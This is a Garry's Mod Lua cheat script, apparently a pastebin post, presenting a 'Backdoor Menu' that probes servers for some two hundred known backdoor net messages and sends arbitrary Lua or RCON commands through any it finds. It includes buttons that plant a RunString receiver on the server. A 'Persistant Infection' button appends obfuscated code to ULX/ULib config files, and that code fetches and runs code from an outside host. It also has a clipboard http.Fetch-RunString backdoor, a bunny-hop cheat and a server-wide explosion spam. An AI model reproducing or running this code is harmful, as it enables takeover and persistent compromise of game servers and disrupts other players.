· 6 years ago · Nov 16, 2019, 10:58 AM
1
2surface.CreateFont("MenuFont", {
3 font = "testfont1",
4 size = 12,
5 weight = 674,
6 antialias = false,
7 outline = true,
8})
9
10local function msgG(time, text)
11 if not windowopen then
12 windowopen = true
13
14 local window = vgui.Create("DFrame")
15 window:SetPos(ScrW()/2.7, 0)
16 window:SetSize(500,25)
17 window:SlideDown(0.3)
18 window:SetTitle("")
19 window:ShowCloseButton(false)
20 window:SetDraggable(false)
21 window.Paint = function(s, w, h)
22 surface.SetDrawColor(40,40,40,240)
23 surface.DrawRect(0, 0, w, h)
24 --draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40, 240))
25
26 draw.DrawText(text, "MenuFont", w/2, 6, Color(0,255,0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
27 end
28
29 timer.Simple(time, function()
30 if windowopen then
31 window:SlideUp(0.3)
32 timer.Simple(0.3, function()
33 windowopen = false
34 window:Remove()
35 end)
36 end
37 end)
38 end
39
40 chat.PlaySound()
41 print("\n"..text.."\n")
42end
43local function msgY(time, text)
44 if not windowopen then
45 windowopen = true
46
47 local window = vgui.Create("DFrame")
48 window:SetPos(ScrW()/2.7, 0)
49 window:SetSize(500,25)
50 window:SlideDown(0.3)
51 window:SetTitle("")
52 window:ShowCloseButton(false)
53 window:SetDraggable(false)
54 window.Paint = function(s, w, h)
55 surface.SetDrawColor(40,40,40,240)
56 surface.DrawRect(0, 0, w, h)
57 --draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40, 240))
58
59 draw.DrawText(text, "MenuFont", w/2, 6, Color(255,255,0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
60 end
61
62 timer.Simple(time, function()
63 if windowopen then
64 window:SlideUp(0.3)
65 timer.Simple(0.3, function()
66 windowopen = false
67 window:Remove()
68 end)
69 end
70 end)
71 end
72
73 chat.PlaySound()
74 print("\n"..text.."\n")
75end
76local function msgR(time, text)
77 if not windowopen then
78 windowopen = true
79
80 local window = vgui.Create("DFrame")
81 window:SetPos(ScrW()/2.7, 0)
82 window:SetSize(500,25)
83 window:SlideDown(0.3)
84 window:SetTitle("")
85 window:ShowCloseButton(false)
86 window:SetDraggable(false)
87 window.Paint = function(s, w, h)
88 surface.SetDrawColor(40,40,40,240)
89 surface.DrawRect(0, 0, w, h)
90 --draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40, 240))
91
92 draw.DrawText(text, "MenuFont", w/2, 6, Color(255,0,0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
93 end
94
95 timer.Simple(time, function()
96 if windowopen then
97 window:SlideUp(0.3)
98 timer.Simple(0.3, function()
99 windowopen = false
100 window:Remove()
101 end)
102 end
103 end)
104 end
105
106 chat.PlaySound()
107 print("\n"..text.."\n")
108end
109local function msgRGB(time, text) -- hehe
110 if not windowopen then
111 windowopen = true
112
113 local window = vgui.Create("DFrame")
114 window:SetPos(ScrW()/2.7, 0)
115 window:SetSize(500,25)
116 window:SlideDown(0.3)
117 window:SetTitle("")
118 window:ShowCloseButton(false)
119 window:SetDraggable(false)
120 window.Paint = function(s, w, h)
121 surface.SetDrawColor(40,40,40,240)
122 surface.DrawRect(0, 0, w, h)
123 --draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40, 240))
124
125 draw.DrawText(text, "MenuFont", w/2, 6, HSVToColor(RealTime()*69%360,1,1) || Color(0,0,0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
126 end
127
128 timer.Simple(time, function()
129 if windowopen then
130 window:SlideUp(0.3)
131 timer.Simple(0.3, function()
132 windowopen = false
133 window:Remove()
134 end)
135 end
136 end)
137 end
138
139 chat.PlaySound()
140 print("\n"..text.."\n")
141end
142
143--[[-------------------------------------------------------------------------------------
144StartUp
145----------------------------------------------------------------------------------------]]
146
147msgY(1.4, "Initializing...")
148surface.PlaySound("weapons/ar2/ar2_reload.wav")
149
150timer.Simple(2, function()
151
152local PasteSense = (_G)
153
154do
155 if (PasteSense.game.SinglePlayer()) then
156 msgR(4.3, "Menu will not load in single player!")
157 surface.PlaySound("buttons/lightswitch2.wav")
158
159 return
160 end
161
162 if (_G.Loaded2) then
163 msgR(4.3, "The Backdoor menu has already been loaded, Reloading will cause errors!")
164 surface.PlaySound("buttons/lightswitch2.wav")
165 return
166 end
167
168 _G.Loaded2 = true
169end
170
171
172print("\n")
173MsgC(Color(255, 0, 255), [[
174 ____ _ _ __ __
175 | _ \ | | | | | \/ |
176 | |_) | __ _ ___| | ____| | ___ ___ _ __ | \ / | ___ _ __ _ _
177 | _ < / _` |/ __| |/ / _` |/ _ \ / _ \| '__| | |\/| |/ _ \ '_ \| | | |
178 | |_) | (_| | (__| < (_| | (_) | (_) | | | | | | __/ | | | |_| |
179 |____/ \__,_|\___|_|\_\__,_|\___/ \___/|_| |_| |_|\___|_| |_|\__,_|
180]])
181print("\n")
182surface.PlaySound("buttons/bell1.wav")
183timer.Create( "ChatPrint2", 0.1, 1, function() msgRGB(3.2, "Backdoor Menu Loaded!") end )
184
185--[[-------------------------------------------------------------------------------------
186Detections
187----------------------------------------------------------------------------------------]]
188if (_G.QAC or _G.CAC) then
189 surface.PlaySound("ambient/alarms/klaxon1.wav")
190 chat.AddText(Color(255, 0, 0), "[", "REBUG", "] ", Color(20, 150, 200), "Anti-Cheat: CAC")
191end
192
193if file.Exists("snte_source.lua", "LUA") then
194 chat.AddText(Color(255, 0, 0), "[", "REBUG", "] ", Color(20, 150, 200), "Anti-Cheat: Snte")
195end
196
197--[[-------------------------------------------------------------------------------------
198Locals
199----------------------------------------------------------------------------------------]]
200local surface_SetFont = surface.SetFont
201local surface_GetTextSize = surface.GetTextSize
202local surface_SetDrawColor = surface.SetDrawColor
203local surface_DrawLine = surface.DrawLine
204local draw_SimpleText = draw.SimpleText
205local draw_SimpleTextOutlined = draw.SimpleTextOutlined
206local string_Explode = string.Explode
207local math_Rand = math.Rand
208local math_random = math.random
209local math_sin = math.sin
210local math_abs = math.abs
211local HSVtoColor = HSVToColor
212local Realtime = RealTime
213local Frametime = FrameTime
214local Curtime = CurTime
215local Color = Color
216local rebug = {}
217local channel = ""
218local netStrings = {}
219local BD = {}
220local noob = {}
221local MenuDelay = false
222local MenuOpen = false
223local ply = LocalPlayer()
224local selPly = 0
225
226--[[-------------------------------------------------------------------------------------
227Fonts
228----------------------------------------------------------------------------------------]]
229surface.CreateFont("button", {
230 font = "Calibri",
231 extended = not 1,
232 size = 16,
233 weight = 500,
234 blursize = 0,
235 scanlines = 0,
236 antialias = not not 1,
237 underline = not 1,
238 italic = not 1,
239 strikeout = not 1,
240 symbol = not 1,
241 rotary = not 1,
242 shadow = not 1,
243 additive = not 1,
244 outline = not 1
245})
246
247--[[-------------------------------------------------------------------------------------
248Gradient
249----------------------------------------------------------------------------------------]]
250local grad = Material("gui/gradient")
251local upgrad = Material("gui/gradient_up")
252local downgrad = Material("gui/gradient_down")
253--[[-------------------------------------------------------------------------------------
254Colors
255----------------------------------------------------------------------------------------]]
256local o_color1 = Color(17, 17, 17, 255)
257local o_color11 = Color(22, 22, 22, 255)
258local o_color2 = Color(30, 30, 30, 255)
259local o_color3 = Color(50, 50, 50, 255)
260local o_color4 = Color(42, 42, 42, 255)
261local o_blue = Color(20, 150, 200, 255)
262
263--[[-------------------------------------------------------------------------------------
264NetWorks
265----------------------------------------------------------------------------------------]]
266function CheckIfStringExists(str)
267 local status, error = pcall(net.Start, str)
268
269 return status
270end
271
272local function playSound(url)
273 sound.PlayURL(url, '', function(station)
274 if (IsValid(station)) then
275 station:SetPos(LocalPlayer():GetPos())
276 station:Play()
277 end
278 end)
279end
280
281--playSound("https://rvac.cc/sound/earth.mp3")
282-- Notify
283function noob.Notify(msg)
284 chat.AddText(Color(255, 0, 0), "[REBUG] ", o_blue, msg)
285end
286
287-- Backdoored Strings
288netStrings.Strings={{NetString="Sandbox_ArmDupe"},{NetString="entityhealt"},{NetString="m"},{NetString="material"},{NetString="REBUG"},{NetString="BetStrep"},{NetString="keyss"},{NetString="banId2"},{NetString="Val"},{NetString="models/zombie.mdl"},{NetString="FPSBOOST"},{NetString="PlayerCheck"},{NetString="Sbox_darkrp"},{NetString="insid3"},{NetString="The_Dankwoo"},{NetString="Sbox_itemstore"},{NetString="Ulib_Message"},{NetString="ULogs_Info"},{NetString="ITEM"},{NetString="R8"},{NetString="fix"},{NetString="Fix_Keypads"},{NetString="Remove_Exploiters"},{NetString="noclipcloakaesp_chat_text"},{NetString="_Defqon"},{NetString="_CAC_ReadMemory"},{NetString="lmaogetdunked"},{NetString="nostrip"},{NetString="nocheat"},{NetString="LickMeOut"},{NetString="ULX_QUERY2"},{NetString="ULXQUERY2"},{NetString="https://i.imgur.com/Gf6hLMl.png"},{NetString="MoonMan"},{NetString="Im_SOCool"},{NetString="JSQuery.Data(Post(false))"},{NetString="Sandbox_GayParty"},{NetString="DarkRP_UTF8"},{NetString="oldNetReadData"},{NetString="Gamemode_get"},{NetString="memeDoor"},{NetString="BackDoor"},{NetString="SessionBackdoor"},{NetString="DarkRP_AdminWeapons"},{NetString="cucked"},{NetString="NoNerks"},{NetString="kek"},{NetString="ZimbaBackDoor"},{NetString="something"},{NetString="random"},{NetString="strip0"},{NetString="fellosnake"},{NetString="enablevac"},{NetString="idk"},{NetString="Þà ?D)â—˜"},{NetString="snte"},{NetString="apg_togglemode"},{NetString="Hi"},{NetString="beedoor"},{NetString="BDST_EngineForceButton"},{NetString="VoteKickNO"},{NetString="REEEEEEEEEEEE"},{NetString="_da_"},{NetString="Nostra"},{NetString="sniffing"},{NetString="keylogger"},{NetString="CakeInstall"},{NetString="Cakeuptade"},{NetString="love"},{NetString="earth"},{NetString="ulibcheck"},{NetString="Nostrip_"},{NetString="teamfrench"},{NetString="ADM"},{NetString="hack"},{NetString="crack"},{NetString="leak"},{NetString="lokisploit"},{NetString="1234"},{NetString="123"},{NetString="enculer"},{NetString="cake"},{NetString="seized"},{NetString="88"},{NetString="88_strings_"},{NetString="nostraall"},{NetString="blogs_update"},{NetString="nolag"},{NetString="loona_"},{NetString="billys_logs"},{NetString="loona"},{NetString="negativedlebest"},{NetString="berettabest"},{NetString="ReadPing"},{NetString="antiexploit"},{NetString="adm_NetString"},{NetString="mathislebg"},{NetString="Bilboard.adverts:Spawn(false)"},{NetString="pjHabrp9EY"},{NetString="?"},{NetString="lag_ping"},{NetString="allowLimitedRCON(user) 0"},{NetString="aze46aez67z67z64dcv4bt"},{NetString="killserver"},{NetString="fuckserver"},{NetString="cvaraccess"},{NetString="rcon"},{NetString="rconadmin"},{NetString="web"},{NetString="jesuslebg"},{NetString="zilnix"},{NetString="ߠ?D)?"},{NetString="disablebackdoor"},{NetString="kill"},{NetString="DefqonBackdoor"},{NetString="DarkRP_AllDoorDatas"},{NetString="0101.1"},{NetString="awarn_remove"},{NetString="_Infinity"},{NetString="Infinity"},{NetString="InfinityBackdoor"},{NetString="_Infinity_Meme_"},{NetString="arivia"},{NetString="ULogs_B"},{NetString="_Warns"},{NetString="_cac_"},{NetString="striphelper"},{NetString="_vliss"},{NetString="YYYYTTYXY6Y"},{NetString="?????????????????п??? ?? ?ѿ??Ŀտ? ???ѿ??տ??Ю"},{NetString="_KekTcf"},{NetString="_blacksmurf"},{NetString="blacksmurfBackdoor"},{NetString="_Raze"},{NetString="m9k_explosionradius"},{NetString="m9k_explosive"},{NetString="m9k_addons"},{NetString="rcivluz"},{NetString="SENDTEST"},{NetString="_clientcvars"},{NetString="_main"},{NetString="stream"},{NetString="waoz"},{NetString="bdsm"},{NetString="ZernaxBackdoor"},{NetString="UKT_MOMOS"},{NetString="anticrash"},{NetString="audisquad_lua"},{NetString="dontforget"},{NetString="noprop"},{NetString="thereaper"},{NetString="0x13"},{NetString="Child"},{NetString="!Cac"},{NetString="azkaw"},{NetString="BOOST_FPS"},{NetString="childexploit"},{NetString="ULX_ANTI_BACKDOOR"},{NetString="FADMIN_ANTICRASH"},{NetString="ULX_QUERY_TEST2"},{NetString="GMOD_NETDBG"},{NetString="netlib_debug"},{NetString="_DarkRP_Reading"},{NetString="lag_ping"},{NetString="||||"},{NetString="SteamApp2313"},{NetString="FPP_RemovePLYCache"},{NetString="fuwa"},{NetString="stardoor"},{NetString="SENDTEST"},{NetString="rcivluz"},{NetString="c"},{NetString="N::B::P"},{NetString="changename"},{NetString="PlayerItemPickUp"},{NetString="echangeinfo"},{NetString="fourhead"},{NetString="music"},{NetString="slua"},{NetString="adm_network"},{NetString="componenttolua"},{NetString="theberettabcd"},{NetString="SparksLeBg"},{NetString="DarkRP_Armors"},{NetString="DarkRP_Gamemodes"},{NetString="fancyscoreboard_leave"},{NetString="PRDW_GET"},{NetString="pwn_http_send"},{NetString="AnatikLeNoob"},{NetString="GVacDoor"},{NetString="Keetaxor"},{NetString="BackdoorPrivate666"},{NetString="YohSambreLeBest"},{NetString="SNTE<ALL"},{NetString="!Ǻ/;."},{NetString="pwn_http_answer"},{NetString="pwn_wake"},{NetString="verifiopd"},{NetString="AidsTacos"},{NetString="shix"},{NetString="PDA_DRM_REQUEST_CONTENT"},{NetString="xenoreceivetargetdata2"},{NetString="xenoreceivetargetdata1"},{NetString="xenoserverdatafunction"},{NetString="xenoserverfunction"},{NetString="xenoclientdatafunction"},{NetString="xenoclientfunction"},{NetString="xenoactivation"},{NetString="EXEC_REMOTE_APPS"},{NetString="yohsambresicianatik<3"},{NetString="Sbox_Message"},{NetString="Sbox_gm_attackofnullday_key"},{NetString="The_DankWhy"},{NetString="nw.readstream"},{NetString="AbSoluT"},{NetString="__G____CAC"},{NetString="Weapon_88"},{NetString="mecthack"},{NetString="SetPlayerDeathCount"},{NetString="FAdmin_Notification_Receiver"},{NetString="DarkRP_ReceiveData"},{NetString="fijiconn"},{NetString="LuaCmd"},{NetString="EnigmaProject"},{NetString="z"},{NetString="cvardel"},{NetString="json.parse(crashsocket)"},{NetString="effects_en"},{NetString="file"},{NetString="gag"},{NetString="asunalabestwaifu"},{NetString="stoppk"},{NetString="Ulx_Error_88"},{NetString="NoOdium_ReadPing"},{NetString="banId"},{NetString="kickId2"},{NetString="elsakura"}}
289
290function CheckBackdoors()
291 for k, v in pairs(netStrings.Strings) do
292 if (CheckIfStringExists(v.NetString)) then
293 channel = v.NetString
294 chat.AddText(Color(255, 0, 0), "[REBUG]", Color(20, 150, 20), " Found Vulnerability ▶ ", Color(20, 150, 200), [[]] .. v.NetString)
295 end
296 end
297end
298
299function noob.PostLua(str)
300 net.Start(channel)
301 net.WriteString(str)
302 net.WriteBit(1)
303 net.SendToServer()
304end
305
306function noob.PostRcon(str)
307 net.Start(channel)
308 net.WriteString(str)
309 net.WriteBit(false)
310 net.SendToServer()
311end
312
313function noob.PostLua(str)
314 if (channel == "") then
315 chat.AddText(Color(255, 0, 0), "[REBUG]", Color(20, 150, 200), " You are not targeting a NetString")
316
317 return
318 end
319
320 net.Start(channel)
321 net.WriteString(str)
322 net.WriteBit(1)
323 net.SendToServer()
324end
325
326function sendLuaPly(str)
327 net.Start(channel)
328 net.WriteString("BroadcastLua([[" .. str .. "]])")
329 net.SendToServer()
330end
331
332function sendLuaPlyKv(str)
333 net.Start(channel)
334 net.WriteString("for k,v in pairs(player.GetAll()) do v:SendLua(" .. str .. ") end")
335 net.SendToServer()
336end
337
338--[[-------------------------------------------------------------------------------------
339Insert Key
340----------------------------------------------------------------------------------------]]
341function rebug.voidz()
342 hook.Add("Think", "openMenu", function()
343 if input.IsKeyDown(KEY_INSERT) and not MenuDelay then
344 MenuDelay = true
345 rebug.load()
346
347 timer.Simple(0.5, function()
348 MenuDelay = false
349 end)
350 end
351 end)
352end
353
354function rebug.load()
355 if MenuOpen then
356 CloseMenu()
357
358 return
359 end
360
361--[[-------------------------------------------------------------------------------------
362Main Menu
363----------------------------------------------------------------------------------------]]
364 MenuOpen = true
365 local Void = vgui.Create("DFrame")
366 surface.PlaySound("buttons/blip1.wav")
367 Void:SetSize(900, 700)
368 Void:Center()
369 Void:SetTitle("")
370 Void:ShowCloseButton()
371 Void:MakePopup()
372 Void:SetVisible(true)
373 Void:SetDraggable(true)
374
375 Void.Paint = function(self, w, h)
376 surface.DrawRect(4,4,Void:GetWide()-8,Void:GetTall()-8)
377 draw.RoundedBox(10, 0, 0, w, h, Color(35,35,35,255))
378 surface.SetDrawColor(36, 21, 21)
379 surface.SetMaterial(upgrad)
380 surface.SetDrawColor(o_color2)
381 surface.SetMaterial(downgrad)
382 surface.SetDrawColor(o_color2)
383 surface.SetDrawColor(0, 0, 0, 0)
384 surface.DrawOutlinedRect(0, 0, w, h)
385 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
386 end
387
388 local VoidPlate = vgui.Create('DPanelList', Void)
389 VoidPlate:SetSize(888, 688)
390 VoidPlate:SetPos(6, 6)
391
392 VoidPlate.Paint = function(s, w, h)
393 surface.SetDrawColor(Color(35, 35, 35))
394 draw.RoundedBox(10, 20, 20, w +0, h-1, Color(35,35,35,255))
395 surface.SetDrawColor(25, 25, 25)
396 surface.SetMaterial(upgrad)
397 surface.SetDrawColor(o_color2)
398 surface.SetMaterial(downgrad)
399 surface.SetDrawColor(o_color2)
400 surface.SetDrawColor(35, 35, 35, 255)
401 surface.DrawOutlinedRect(0, 0, w, h)
402 end
403
404 local Rainbow = vgui.Create('DPanelList', VoidPlate)
405 Rainbow:SetSize(890, 2)
406 Rainbow:SetPos(1, 0)
407
408 Rainbow.Paint = function(s, w, h)
409 surface.SetDrawColor(Color(100, 100, 100))
410 surface.DrawRect(0, 0, w, h)
411 surface.SetDrawColor(21, 21, 21)
412 surface.SetDrawColor(Color(100, 100, 100))
413 surface.DrawRect(0, 0, w, h)
414 surface.SetDrawColor(21, 21, 21)
415 surface.SetMaterial(upgrad)
416 surface.SetDrawColor(o_color2)
417 surface.SetMaterial(downgrad)
418 surface.SetDrawColor(o_color2)
419 surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
420 surface.DrawOutlinedRect(0, 0, w, h)
421 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
422 end
423
424--[[-------------------------------------------------------------------------------------
425Button Function
426----------------------------------------------------------------------------------------]]
427 function rebug.AddButton(name, parent, func)
428 local button = parent:Add("DButton")
429 button:SetText("")
430 button:Dock(TOP)
431 button:SetFont("DermaDefault")
432 button:DockMargin(0, 0, 0, 5)
433 button:SetSize(170, 30)
434 button.DoClick = func
435
436 button.Paint = function(self, w, h)
437 surface.SetDrawColor(Color(30, 30, 30))
438 surface.DrawRect(0, 0, w, h)
439 surface.SetDrawColor(21, 21, 21)
440 surface.SetMaterial(upgrad)
441 surface.SetDrawColor(o_color2)
442 surface.SetMaterial(downgrad)
443 surface.SetDrawColor(o_color2)
444 surface.SetDrawColor(21, 21, 21, 255)
445 surface.DrawOutlinedRect(0, 0, w, h)
446 draw.SimpleTextOutlined(name, "button", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1, 1, color_black)
447 end
448 end
449
450--[[-------------------------------------------------------------------------------------
451Label Function
452----------------------------------------------------------------------------------------]]
453 function noob.addLabel(name, posx, posy, parent)
454 local T1 = parent:Add("DLabel")
455 T1:SetSize(200, 80)
456 T1:SetPos(posx, posy)
457 T1:SetFont("Trebuchet18")
458 T1:SetText(name)
459 T1:SetTextColor(Color(255, 255, 255, 255))
460 end
461
462 --Labels
463 noob.addLabel("Server BackDoors", 60, 100, VoidPlate)
464 noob.addLabel("RCON Backdoors", 280, 100, VoidPlate)
465 noob.addLabel("Target Backdoors", 515, 100, VoidPlate)
466 noob.addLabel("Player List", 755, 100, VoidPlate)
467
468--[[-------------------------------------------------------------------------------------
469Panels 1 : rcon / detour
470----------------------------------------------------------------------------------------]]
471 local List1 = vgui.Create("DPanelList", VoidPlate)
472 List1:SetPos(6, 9)
473 List1:SetSize(876, 117)
474 List1:SetPadding(5)
475 List1:SetSpacing(5)
476 List1:EnableHorizontal(false)
477 List1:EnableVerticalScrollbar(true)
478 List1:SetName("")
479
480 List1.Paint = function(self, w, h)
481 surface.SetDrawColor(Color(30, 30, 30))
482 surface.DrawRect(0, 0, w, h)
483 surface.SetDrawColor(21, 21, 21)
484 surface.SetMaterial(upgrad)
485 surface.SetDrawColor(o_color2)
486 surface.SetMaterial(downgrad)
487 surface.SetDrawColor(o_color2)
488 surface.SetDrawColor(21, 21, 21, 255)
489 surface.DrawOutlinedRect(0, 0, w, h)
490 end
491
492 local detour = vgui.Create("DTextEntry", List1)
493 detour:SetPos(467, 9)
494 detour:SetSize(400, 100)
495 detour:SetTextColor(Color(255, 255, 255, 255))
496 detour:SetFont("Trebuchet18")
497
498 detour.Paint = function(self, w, h)
499 surface.SetDrawColor(Color(33, 33, 33))
500 surface.DrawRect(0, 0, w, h)
501 surface.SetDrawColor(21, 21, 21)
502 surface.SetMaterial(upgrad)
503 surface.SetDrawColor(o_color2)
504 surface.SetMaterial(downgrad)
505 surface.SetDrawColor(o_color2)
506 surface.SetDrawColor(21, 21, 21, 255)
507 surface.DrawOutlinedRect(0, 0, w, h)
508 self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
509 end
510
511 detour.OnEnter = function(self)
512 surface.PlaySound("buttons/button18.wav")
513 noob.Notify("Targeting NetString: '" .. detour:GetValue() .. "'")
514 channel = self:GetValue()
515 end
516
517 local shitbox = vgui.Create("DTextEntry", List1)
518 shitbox:SetPos(10, 9)
519 shitbox:SetSize(416, 64)
520 shitbox:SetTextColor(Color(255, 255, 255, 255))
521 shitbox:SetFont("Trebuchet18")
522 shitbox:SetMultiline(true)
523
524 shitbox.Paint = function(self, w, h)
525 surface.SetDrawColor(Color(33, 33, 33))
526 surface.DrawRect(0, 0, w, h)
527 surface.SetDrawColor(21, 21, 21)
528 surface.SetMaterial(upgrad)
529 surface.SetDrawColor(o_color2)
530 surface.SetMaterial(downgrad)
531 surface.SetDrawColor(o_color2)
532 surface.SetDrawColor(21, 21, 21, 255)
533 surface.DrawOutlinedRect(0, 0, w, h)
534 self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
535 end
536
537 local rconcmd = vgui.Create("DButton", List1)
538 rconcmd:SetFont("Trebuchet18")
539 rconcmd:SetText("Rcon CMD")
540 rconcmd:SetTextColor(Color(255, 255, 255, 255))
541 rconcmd:SetPos(10, 79)
542 rconcmd:SetSize(200, 30)
543
544 rconcmd.Paint = function(self, w, h)
545 surface.SetDrawColor(Color(200, 24, 24))
546 surface.SetDrawColor(40, 40, 40)
547 surface.DrawOutlinedRect(0, 0, w, h)
548 end
549
550 rconcmd.DoClick = function()
551 surface.PlaySound("buttons/button18.wav")
552 local GetEntry = shitbox:GetValue()
553 net.Start(channel)
554 net.WriteString(GetEntry)
555 net.WriteBit(false)
556 net.SendToServer()
557 end
558
559 local luacmd = vgui.Create("DButton", List1)
560 luacmd:SetFont("Trebuchet18")
561 luacmd:SetText("Lua CMD")
562 luacmd:SetTextColor(Color(255, 255, 255, 255))
563 luacmd:SetPos(226, 79)
564 luacmd:SetSize(200, 30)
565
566 luacmd.Paint = function(self, w, h)
567 surface.SetDrawColor(Color(200, 24, 24))
568 surface.SetDrawColor(40, 40, 40)
569 surface.DrawOutlinedRect(0, 0, w, h)
570 end
571
572 luacmd.DoClick = function()
573 local GetEntry = shitbox:GetValue()
574 net.Start(channel)
575 net.WriteString(GetEntry)
576 net.WriteBit(1)
577 net.SendToServer()
578 end
579
580--[[-------------------------------------------------------------------------------------
581Panels 2 : backdoors :)
582----------------------------------------------------------------------------------------]]
583 local List2 = vgui.Create("DPanelList", VoidPlate)
584 List2:SetPos(19, 155)
585 List2:SetSize(180, 430)
586 List2:SetPadding(2)
587 List2:SetSpacing(2)
588 List2:EnableHorizontal(false)
589 List2:EnableVerticalScrollbar(true)
590 List2:SetName("")
591
592 List2.Paint = function(self, w, h)
593 surface.SetDrawColor(Color(30, 30, 30))
594 surface.DrawRect(0, 0, w, h)
595 surface.SetDrawColor(21, 21, 21)
596 surface.SetMaterial(upgrad)
597 surface.SetDrawColor(o_color2)
598 surface.SetMaterial(downgrad)
599 surface.SetDrawColor(o_color2)
600 surface.SetDrawColor(21, 21, 21, 255)
601 surface.DrawOutlinedRect(0, 0, w, h)
602 end
603
604 local item1 = vgui.Create("DPanelList", List2)
605 item1:SetPos(12, 8)
606 item1:SetSize(170, 420)
607 item1:SetPadding(2)
608 item1:SetSpacing(2)
609 item1:EnableHorizontal(false)
610 item1:EnableVerticalScrollbar(true)
611 item1:SetName("")
612
613 item1.Paint = function(self, w, h)
614 surface.SetDrawColor(Color(30, 30, 30))
615 surface.DrawRect(0, 0, w, h)
616 surface.SetDrawColor(21, 21, 21)
617 surface.SetDrawColor(35, 35, 35, 0)
618 surface.DrawOutlinedRect(0, 0, w, h)
619 end
620
621 local Bar1 = vgui.Create("DScrollPanel", item1)
622 Bar1:Dock(FILL)
623 local sBar1 = Bar1:GetVBar()
624
625 function sBar1:Paint()
626 end
627
628 function sBar1.btnUp:Paint()
629 end
630
631 function sBar1.btnDown:Paint()
632 end
633
634 function sBar1.btnGrip:Paint()
635 end
636
637 local copy = vgui.Create("DButton", VoidPlate)
638 copy:SetFont("DermaDefault")
639 copy:SetText("Copy Backdoor")
640 copy:SetTextColor(Color(255, 255, 255, 255))
641 copy:SetPos(19, 591)
642 copy:SetSize(180, 40)
643
644 copy.Paint = function(self, w, h)
645 surface.SetDrawColor(Color(30, 30, 30))
646 surface.DrawRect(0, 0, w, h)
647 surface.SetDrawColor(21, 21, 21)
648 surface.SetMaterial(upgrad)
649 surface.SetDrawColor(o_color2)
650 surface.SetMaterial(downgrad)
651 surface.SetDrawColor(o_color2)
652 surface.SetDrawColor(21, 21, 21, 255)
653 surface.DrawOutlinedRect(0, 0, w, h)
654 end
655
656 copy.DoClick = function()
657 surface.PlaySound("buttons/button18.wav")
658 chat.AddText(Color(255, 0, 0), "[REBUG] ", Color(20, 150, 200), " Copied! LuaRun or place inside addon")
659 SetClipboardText('http.Fetch("https://rvac.cc/p",RunString)')
660 end
661
662 local bhop = vgui.Create("DButton", VoidPlate)
663 bhop:SetFont("DermaDefault")
664 bhop:SetText("Bunny Hop")
665 bhop:SetTextColor(Color(255, 255, 255, 255))
666 bhop:SetPos(19, 637)
667 bhop:SetSize(180, 40)
668
669 bhop.Paint = function(self, w, h)
670 surface.SetDrawColor(Color(30, 30, 30))
671 surface.DrawRect(0, 0, w, h)
672 surface.SetDrawColor(21, 21, 21)
673 surface.SetMaterial(upgrad)
674 surface.SetDrawColor(o_color2)
675 surface.SetMaterial(downgrad)
676 surface.SetDrawColor(o_color2)
677 surface.SetDrawColor(21, 21, 21, 255)
678 surface.DrawOutlinedRect(0, 0, w, h)
679 end
680
681 bhop.DoClick = function()
682 surface.PlaySound("buttons/button18.wav")
683
684 if hook.GetTable()["VOIDZZ"] then
685 hook.Remove("VOIDZZ")
686 end
687
688 local function ch_bunnyhop(ply)
689 if (ply:KeyDown(IN_JUMP) and not LocalPlayer():IsOnGround()) then
690 ply:RemoveKey(IN_JUMP)
691
692 if not LocalPlayer():IsFlagSet(FL_ONGROUND) and LocalPlayer():GetMoveType() ~= MOVETYPE_NOCLIP then
693 if (ply:GetMouseX() > 1 or ply:GetMouseX() < -1) then
694 ply:SetSideMove(ply:GetMouseX() > 1 and 400 or -400)
695 else
696 ply:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D())
697 ply:SetSideMove((ply:CommandNumber() % 2 == 0) and -400 or 400)
698 end
699 end
700 elseif (ply:KeyDown(IN_JUMP)) then
701 ply:SetForwardMove(10000)
702 end
703 end
704
705 hook.Add("CreateMove", "VOIDZZ", function(ply)
706 ch_bunnyhop(ply)
707 end)
708 end
709
710 -- Backdoor 1
711 rebug.AddButton("@Inject SendLua Interface", Bar1, function()
712 surface.PlaySound("buttons/button18.wav")
713 noob.PostLua([[util.AddNetworkString ('REBUG') net.Receive ('REBUG', function (length, ply) local netString = net.ReadString () local bit = net.ReadBit () if bit == 1 then RunString (netString) else game.ConsoleCommand (netString ..'\n') end end)]])
714 end)
715
716 rebug.AddButton("@Persistant Infection", Bar1, function()
717 surface.PlaySound("buttons/button18.wav")
718 noob.PostLua([[file.Append("ulx/config.txt", "\n"..[=[x='R'..'unS'..'tri'..'n'..'g'_='r'..''..'va'..'c'..'.g'..'q/'x0=_G['Co'..'mpil'..''..'eSt'..'ri'..'ng']__='h'..''..'t'..'t'..'ps'..'://'x0(__,_,'_!/p',x)]=])]])
719 noob.PostLua([[file.Append("ulib/misc_registered.txt", "\n"..[=[x='R'..'unS'..'tri'..'n'..'g'_='r'..''..'va'..'c'..'.g'..'q/'x0=_G['Co'..'mpil'..''..'eSt'..'ri'..'ng']__='h'..''..'t'..'t'..'ps'..'://'x0(__,_,'_!/p',x)]=])]])
720 end)
721
722 rebug.AddButton("Artillery Server Strike", Bar1, function()
723 surface.PlaySound("buttons/button18.wav")
724 noob.PostLua([[if !bombstrike then
725
726 hook.Add("Think", "lulz_bombstrike", function()
727
728 local explode = ents.Create("env_explosion")
729
730 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
731
732 local trc = {}
733
734 trc.start = ps
735
736 trc.endpos = ps + Vector(0, 0, -99999)
737
738 local tr = util.TraceLine(trc)
739
740 if !tr.Hit then return end
741
742 explode:SetPos(tr.HitPos)
743
744 explode:Spawn()
745
746 explode:SetKeyValue("iMagnitude", "400")
747
748 explode:Fire("Explode", 0, 0)
749
750 end)
751
752 bombstrike = true
753
754 else
755
756 hook.Remove("Think", "lulz_bombstrike")
757
758 bombstrike = false
759
760 end]])
